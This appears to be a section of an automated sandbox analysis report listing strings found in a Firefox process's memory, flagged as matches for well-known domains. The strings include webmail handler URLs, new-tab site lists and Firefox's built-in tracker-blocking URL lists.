Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/dom/slow-script-debug;1No callback set for this channel.devtools.performance.recording.ui-base-urldevtools-commandkey-profiler-start-stopDevTools telemetry entry point failed: releaseDistinctSystemPrincipalLoader@mozilla.org/network/protocol;1?name=filedevtools-commandkey-javascript-tracing-toggledevtools/client/framework/devtools@mozilla.org/uriloader/handler-service;1browser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNamesdevtools.debugger.features.javascript-tracingGot invalid request to save JSON datadevtools.performance.popup.feature-flagJSON Viewer's onSave failed in startPersistenceFailed to execute WebChannel callback:Failed to listen. Listener already attached.devtools-commandkey-profiler-capture^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$browser and that URL. Falling back to devtools/client/framework/devtools-browserand deploy previews URLs are allowed.resource://devtools/shared/security/socket.jsUnable to start devtools server on {9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Scheme should be either http or httpshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s^([a-z+.-]+:\/{0,3})([^\/@]+@).+_injectDefaultProtocolHandlersIfNeededresource://gre/modules/JSONFile.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}http://www.inbox.lv/rfc2368/?value=%shttps://mail.inbox.lv/compose?to=%s^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)extractScheme/fixupChangedProtocol<https://e.mail.ru/cgi-bin/sentmsg?mailto=%sCan't invoke URIFixup in the content processhandlerSvc fillHandlerInfo: don't know this typehttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/web-handler-app;1gecko.handlerService.defaultHandlersVersionresource://gre/modules/DeferredTask.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjsget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPhttps://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%s^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?browser.fixup.domainsuffixwhitelist.resource://gre/modules/FileUtils.sys.mjsget FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIisDownloadsImprovementsAlreadyMigratedresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/JSONFile.sys.mjs@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/async-stream-copier;1@mozilla.org/network/input-stream-pump;1newChannel requires a single object argumentSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULL@mozilla.org/intl/converter-input-stream;1@mozilla.org/network/file-input-stream;1Non-zero amount of bytes must be specified@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%sresource://gre/modules/URIFixup.sys.mjsMust have a source and a callbackhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mai
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(browserSettings.update.channel == "release") && ((experiment.slug in activeRollouts) \|\| ((!os.isMac) && (version\|versionCompare('111.!') >= 0)))https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB0E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3335121581.000001D16EB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]](' equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A15C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3309373504.000001D16A146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3329197186.000001D16E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3329197186.000001D16E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000003.3228042025.000001D176187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3391699036.000001D176187000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000003.3228042025.000001D176187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3391699036.000001D176187000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
